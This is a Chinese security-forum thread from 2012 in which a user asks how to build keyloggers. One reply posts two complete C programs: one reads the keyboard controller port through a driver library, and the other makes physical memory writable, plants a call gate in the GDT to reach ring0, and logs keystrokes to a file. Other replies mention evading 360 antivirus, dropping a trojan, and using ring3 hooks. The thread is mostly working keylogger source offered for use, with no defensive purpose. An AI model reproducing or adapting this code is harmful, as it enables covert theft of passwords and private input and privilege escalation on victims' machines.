首页
社区
课程
招聘
[旧帖] [求助][讨论]键盘记录的方法 0.00雪花
发表于: 2012-1-24 22:33 2221

[旧帖] [求助][讨论]键盘记录的方法 0.00雪花

2012-1-24 22:33
2221
请教一下各位大神,键盘记录有哪些方法,ring0,ring3皆可,最好简单介绍一下,也可以提供一些资料的,

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (18)
雪    币: 57
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
没人愿意指教啊?
2012-1-25 22:28
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
我也想学学怎么搞键盘记录
2012-1-27 19:57
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
有键盘记录就真是好用啊 我也像得到啊
2012-1-27 20:29
0
雪    币: 85
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
放个木马就OK
2012-1-28 21:35
0
雪    币: 57
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这么长时间都没人愿意回答啊
2012-2-2 20:12
0
雪    币: 15
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
直接访问键盘控制芯片获取键盘记录(但万恶的360很蛋疼)
[COLOR="DarkSlateGray"]////////////////////////////////////////////////////////////////
// File - BASIC_IO.C
//
// This is a skeleton driver for a simple ISA card with IO 
// ports access.
// 
// Copyright (c) 2003 - 2006 Jungo Ltd.  http://www.jungo.com
// 
////////////////////////////////////////////////////////////////

#include <stdio.h>
#include "windrvr.h"
#include "status_strings.h"
#include "windows.h"
// put your IO range here
// in this example the range is 0x378-0x37a
enum {MY_IO_BASE = 0x60};
enum {MY_IO_SIZE = 0x10};
char keycode[120][5]={"","ESC","1","2","3","4","5","6","7","8"\
,"9","0","-","=","BSP","TAB","Q","W","E","R","T","Y","U","I","O","P"\
,"[","]","ENT","LCT","A","S","D","F","G","H","J","K","L",";","'","`","LSH","\\","Z","X","C","V","B"\
,"N","M",",",".","/","RSH","*","LAL","SPA","CAP","F1","F2","F3","F4"\
,"F5","F6","F7","F8","F9","F10","NUM","SCO","7","8","9","-","4","5","6"\
,"+","1","2","3","0","."};
//共含有53个定义的字母
// global WinDriver handle
HANDLE hWD;
// global card handle
WD_CARD_REGISTER cardReg;

BYTE IO_inp(DWORD dwIOAddr)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = RP_BYTE; // R-Read P-Port BYTE
    trns.dwPort = dwIOAddr;
    WD_Transfer( hWD, &trns); // Perform read
    return trns.Data.Byte;
}

WORD IO_inpw(DWORD dwIOAddr)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = RP_WORD; // R-Read P-Port WORD
    trns.dwPort = dwIOAddr;
    WD_Transfer( hWD, &trns); // Perform read
    return trns.Data.Word;
}

DWORD IO_inpd(DWORD dwIOAddr)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = RP_DWORD; // R-Read P-Port DWORD
    trns.dwPort = dwIOAddr;
    WD_Transfer( hWD, &trns); // Perform read
    return trns.Data.Dword;
}

void IO_outp(DWORD dwIOAddr, BYTE bData)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = WP_BYTE; // R-Write P-Port BYTE
    trns.dwPort = dwIOAddr;
    trns.Data.Byte = bData;
    WD_Transfer( hWD, &trns); // Perform write
}

void IO_outpw(DWORD dwIOAddr, WORD wData)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = WP_WORD; // R-Write P-Port WORD
    trns.dwPort = dwIOAddr;
    trns.Data.Word = wData;
    WD_Transfer( hWD, &trns); // Perform write
}

void IO_outpd(DWORD dwIOAddr, DWORD dwData)
{
    WD_TRANSFER trns;
    BZERO(trns);
    trns.cmdTrans = WP_DWORD; // R-Write P-Port DWORD
    trns.dwPort = dwIOAddr;
    trns.Data.Dword = dwData;
    WD_Transfer( hWD, &trns); // Perform write
}


BOOL IO_init()
{
    WD_VERSION verBuf;
    DWORD dwStatus;
	WD_LICENSE lic;
	
    hWD = INVALID_HANDLE_VALUE;
    hWD = WD_Open();
    if (hWD==INVALID_HANDLE_VALUE)
    {
        printf ("error opening WINDRVR\n");
        return FALSE;
    }
	strcpy(lic.cLicense,"6C3CC2FF5629291736D037215760FFA056B80B70.www.cnzzd.com");
	WD_License(hWD, &lic);
    BZERO(verBuf);
    WD_Version (hWD, &verBuf);
    printf (WD_PROD_NAME " version - %s\n", verBuf.cVer);
    if (verBuf.dwVer<WD_VER)
    {
        printf ("error incorrect WINDRVR version. needs ver %d\n",WD_VER);
        WD_Close(hWD);
        return FALSE;
    }

    BZERO(cardReg);
    cardReg.Card.dwItems = 1;
    cardReg.Card.Item[0].item = ITEM_IO;
    cardReg.Card.Item[0].fNotSharable = TRUE;
    cardReg.Card.Item[0].I.IO.dwAddr = MY_IO_BASE;
    cardReg.Card.Item[0].I.IO.dwBytes = MY_IO_SIZE;
    cardReg.fCheckLockOnly = FALSE;
    dwStatus = WD_CardRegister(hWD, &cardReg);
    if (cardReg.hCard==0)
    {
        printf("Failed locking device. Status 0x%lx - %s\n",
            dwStatus, Stat2Str(dwStatus));
        return FALSE;
    }

    return TRUE;
}

void IO_end()
{
    WD_CardUnregister(hWD,&cardReg);
    WD_Close(hWD);
}


void Log()
{

	BYTE retData;
	BYTE keyDown;//键按下数据
	BYTE keyUp;//键弹起数据
	BYTE bCanLog1=1;
	BYTE bCanLog2=1;
	while(1)
	{     
			retData=IO_inp( (DWORD)0x00000060);
			if(retData==0x00||retData==0xff||retData==\
				0xaa||retData==0xee||retData==0xf0||retData==\
				0xfa||retData==0xfe||retData==0xfc)
			{
				Sleep(50);
				continue;
			}

/////////////////////////////////////////////////////////////////
//键按下产生make code ,键放开产生break code,make code最高位为0,
//我们keycode使用make code作为索引打印按键。。。。。。。。。。。
//
			if(!(retData&0x80))//有键被按下!!!!
			{
				keyDown=retData;
				
			}
			//有键放开!!!!!retData第7位为1!我们使用make code记录键值
			//make code第7位为0!!!!
			if(retData&0x80)
			{
				keyUp=retData&0x7f;
				if(keyUp==keyDown)
				{
					printf("%s ",keycode[keyDown]);
					keyUp=0;
					keyDown=1;
				}
				
				
				
			}
			
			Sleep(50);
	
	}
	
	
}

void reboot()
{
	IO_outp( 0x00000064,0xfe);
}

void light()
{
	BYTE status;
	while(1)
	{
		
		status=IO_inp( 0x00000064);
		printf("%x",status);
		IO_outp( 0x00000060,0xed);
		IO_outp( 0x00000060,0x07);
		Sleep(100);
	}
}
int main()
{
    
	
	
	if (!IO_init()) return -1;
	Log();
	//reboot();
    //light();
	IO_end();

    return 0;
}[/COLOR]



调用门键盘记录程序编写
[COLOR="darkslategray"]#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include <Ntsecapi.h>

#pragma comment (lib,"ntdll.lib")       
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")


/////////////////////////// 从 NTDDK 摘来 /////////////////////////////////// 
#ifdef __cplusplus
extern "C" {
#endif
    
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
    
#define STATUS_SUCCESS              0x00000000
#define OBJ_KERNEL_HANDLE           0x00000200
#define STATUS_ACCESS_DENIED        0xC0000022
#define OBJ_CASE_INSENSITIVE        0x00000040L
    
    typedef struct _OBJECT_ATTRIBUTES {
        ULONG Length;
        HANDLE RootDirectory;
        PUNICODE_STRING ObjectName;
        ULONG Attributes;
        PVOID SecurityDescriptor;
        PVOID SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 
    
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
    }
    
    NTSYSAPI
        VOID
        NTAPI
        RtlInitUnicodeString(
        PUNICODE_STRING DestinationString,
        PCWSTR SourceString
        );
    
    NTSYSAPI
        NTSTATUS
        NTAPI
        ZwOpenSection(
        OUT PHANDLE SectionHandle,
        IN ACCESS_MASK DesiredAccess,
        IN POBJECT_ATTRIBUTES ObjectAttributes
        );
    
    NTSYSAPI
        NTSTATUS
        NTAPI
        ZwClose(
        IN HANDLE Handle
        );
    
#ifdef __cplusplus
}
#endif
///////////////////////////////////////////////////////////////////////////// 


//GDTR结构
typedef struct gdtr {
    unsigned short Limit;      //16位长度
    unsigned short BaseLow;    //32位线形地址低16位
    unsigned short BaseHigh;   //32位线形地址高16位
	
} Gdtr_t, *PGdtr_t;

//调用门描述符
typedef struct
{
    unsigned short  offset_0_15;//段中偏移值低16位
    unsigned short  selector;  //段选择符
    
    unsigned char    param_count : 4;//参数个数
    unsigned char    some_bits   : 4;
    
    unsigned char    type        : 4;//类型
    unsigned char    app_system  : 1;
    unsigned char    dpl         : 2;
    unsigned char    present     : 1;
    unsigned short  offset_16_31;//段中偏移值高16位
} CALLGATE_DESCRIPTOR;


typedef struct
{
	ULONG BaseAddr;
	unsigned short Limit;
} INFO;

//打印错误信息
void PrintWin32Error( DWORD ErrorCode )
{
    LPVOID lpMsgBuf;
    
    FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL, ErrorCode, 
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf, 0, NULL );
    printf("%s\n", lpMsgBuf );
    LocalFree( lpMsgBuf );
}


//虚拟地址转化为物理地址,线性地址在0x80000000与0xa0000000范围内,只是简单的进行移位操作
//GDT表在Windows NT/2000中一般情况下均位于这个区域
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
    if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
        return 0;
    return virtualaddress&0x1FFFF000;
}


//设置物理段可读
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
    //HSection为\Device\PhysicalMemory句柄
    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;
    //找到它的安全描述符
    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        printf( "GetSecurityInfo Error %u\n", dwRes );
        goto CleanUp;
    }
    
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";
    
    //在当前ACL中添加Read/Write授权
    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        printf( "SetEntriesInAcl %u\n", dwRes );
        goto CleanUp;
    }
    //更新安全描述符
    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        printf("SetSecurityInfo %u\n",dwRes);
        goto CleanUp;
    }
    
CleanUp:
    
    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pSD);
}



HANDLE   hSection=NULL;
GetBaseInfo(INFO *pInfo)
{
	Gdtr_t gdt;
    __asm sgdt gdt;
	//转化虚拟内存地址为物理地址
	ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
    if(!mapAddr) return 0;
    
    
    NTSTATUS status;
    OBJECT_ATTRIBUTES        objectAttributes;
    UNICODE_STRING objName;
    
    RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");
    InitializeObjectAttributes(&objectAttributes,
        &objName,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
        NULL,
        (PSECURITY_DESCRIPTOR) NULL);
   //打开对象句柄
   status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
   SetPhyscialMemorySectionCanBeWrited(hSection);
   ZwClose(hSection);
   status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
   if(status != STATUS_SUCCESS)
    {
        printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
        return 0;
    }
    
    PVOID BaseAddress;
    //映射section到当前进程空间
    BaseAddress=MapViewOfFile(hSection,
        FILE_MAP_READ|FILE_MAP_WRITE,
        0,
        mapAddr,
        (gdt.Limit+1));
    
    if(!BaseAddress)
    {
        printf("Error MapViewOfFile:");
        PrintWin32Error(GetLastError());
        return 0;
    }
	pInfo->BaseAddr=(ULONG)BaseAddress;
	pInfo->Limit=gdt.Limit;
	
}

INFO info;
//定义需要打印的按键名称
char cKeyPress[][6]={"A","B","C","D","E","F","G","H","I","J","K",
"L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4",
"5","6","7","8","9","`","-","=","\\","BKSP","SPACE","TAB","CAPS","ENTER","ESC","[","]",";","'",",",".","/","?"};
//定义按键被按下是产生的扫描码
unsigned char cKeyDown[255]={0x1E,0x30,0x2E,0x20,0x12,0x21,0x22,0x23,0x17,0x24,0x25,0x26,0x32,0x31,0x18,0x19,0x10,0x13,0x1F,
0x14,0x16,0x2F,0x11,0x2D,0x15,0x2C,0x0B,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x29,0x0c,0x0d,0x2b,0x0e,0x39,0x0f,0x3a,0x1c,0x01,
0x1a,0x1b,0x27,0x28,0x33,0x34,0x35,0};
//安装调用门进入ring0
BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
    
    CALLGATE_DESCRIPTOR *cg;
    
    //添加调用门
    for( cg=(CALLGATE_DESCRIPTOR *)((ULONG)info.BaseAddr+(info.Limit&0xFFF8));
        (ULONG)cg>(ULONG)info.BaseAddr; cg-- ) 
    {
			//寻找到空闲空间
			if(cg->type == 0){
            cg->offset_0_15 = LOWORD(Entry);//取调用门函数低16位
            cg->selector = 8;           //设置内核段选择子
            cg->param_count = 0;		//参数个数
            cg->some_bits = 0;        //系统保留
            cg->type = 0xC;          // 386调用门
            cg->app_system = 0;      //系统保留
            cg->dpl = 3;             //描述符权限,设置为允许 RING 3 进程调用
            cg->present = 1;      //存在位设置为1表示有效
            cg->offset_16_31 = HIWORD(Entry);//取调用门函数低16位
            
            break;
			}
        
    }
    
    
    
    
    short farcall[3];
    
    farcall[2]=((short)((ULONG)cg-(ULONG)info.BaseAddr))|3;
    //锁定内存,该内存页不能交换到页文件
    if(!VirtualLock((PVOID)Entry,seglen))
    {
        printf("Error VirtualLock:");
        PrintWin32Error(GetLastError());
        return 0;
    }
    
    SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
    
    Sleep(1);
    //呼叫调用门实现特权级转移
    _asm call fword ptr [farcall]
        
        SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
    
    VirtualUnlock((PVOID)Entry,seglen);
    
    //清除调用门
    *(ULONG *)cg=0;
    *((ULONG *)cg+1)=0;
    
    
    return TRUE;
}

struct _RING0DATA
{
    unsigned char cKey;
	
}keyData;
//读取0x60端口获取键盘扫描码
void __declspec (naked) GetKey()
{
    _asm{
		pushad;
        pushf;
        cli;
		in al,60h; 
		mov keyData.cKey,al; 
		popf;
        popad;
        retf;
		}
    
}

void main(void) 
{ 
    ZeroMemory(&keyData,sizeof(struct _RING0DATA));
    //锁定内存,该内存页不能交换到页文件,代码在内核模式运行,不能交换到硬盘中!!!
	VirtualLock((PVOID)&keyData,sizeof(struct _RING0DATA));
	VirtualLock((PVOID)&info,sizeof(INFO));
    GetBaseInfo(&info);
	unsigned char cKeyLast=0,cKeyNow=0;
	 DWORD dwLast;
     DWORD dwCurrent;
     DWORD dwInterval = 10000;
	dwLast = GetTickCount();
	while(1)
	{
		
		dwCurrent = GetTickCount();
		if( dwCurrent - dwLast > dwInterval )
			break;
		ExecRing0Proc((ULONG)GetKey,0x100);
		cKeyNow=keyData.cKey;
		//如果有键弹起
		if(cKeyNow>0x80)
		{
			if(cKeyNow==(cKeyLast+0x80))//弹起键为上次按下的键
			{
				for(int i=0;i<sizeof(cKeyDown);i++)
				{
					if(cKeyDown[i]==cKeyLast)//打印按下的键
					{
						//printf("%s\n",cKeyPress[i]);
						FILE *fp=fopen("c:\\key.log","a+");
						fprintf(fp,"%s",cKeyPress[i]);
						//fputs(cKeyPress[i],fp);
						fclose(fp);

					}
				}
				//令上次按下的键与本次放开的不相等
				cKeyNow=0;
				cKeyLast=1;
			}
		}
		//其他情况
		else
		{
			for(int i=0;i<sizeof(cKeyDown);i++)
			{
				if(cKeyNow==cKeyDown[i])//有键按下
				{
					cKeyLast=cKeyNow;
				}
			}
		}
		Sleep(100);

	}
	VirtualUnlock((PVOID)&info,sizeof(INFO));
    VirtualUnlock((PVOID)&keyData,sizeof(struct _RING0DATA));
	::ZwClose(hSection);
    
   
} [/COLOR]
2012-2-2 20:44
0
雪    币: 15
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
不过 说明下 干掉360其实有很简单的方法
2012-2-2 20:48
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
万恶的360确实很蛋疼啊!
2012-2-3 08:03
0
雪    币: 57
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
有人补充吗?
2012-2-4 22:28
0
雪    币: 416
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
Ring3下用hook也可以啊
2012-5-8 11:33
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
写个键盘钩子就可以解决了。
2012-5-8 12:22
0
雪    币: 38
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习了!收藏
2012-5-8 17:04
0
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
怎么写啊。。。。
2012-5-9 07:44
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
看7楼的代码好复杂
2012-5-9 10:58
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
有什么简单的方法,方便的话介绍一下呗~
2012-5-11 09:21
0
雪    币: 73
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
正解+1,谢分享
2013-2-1 11:31
0
雪    币: 297
活跃值: (265)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
18
r3 键盘钩子 rawinput 挂ime 挂dx
2013-2-1 12:14
0
雪    币: 122
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
代码有点长啊,360 真的很厉害的一般很难过去啊!
2013-2-1 14:47
0
游客
登录 | 注册 方可回帖
返回
//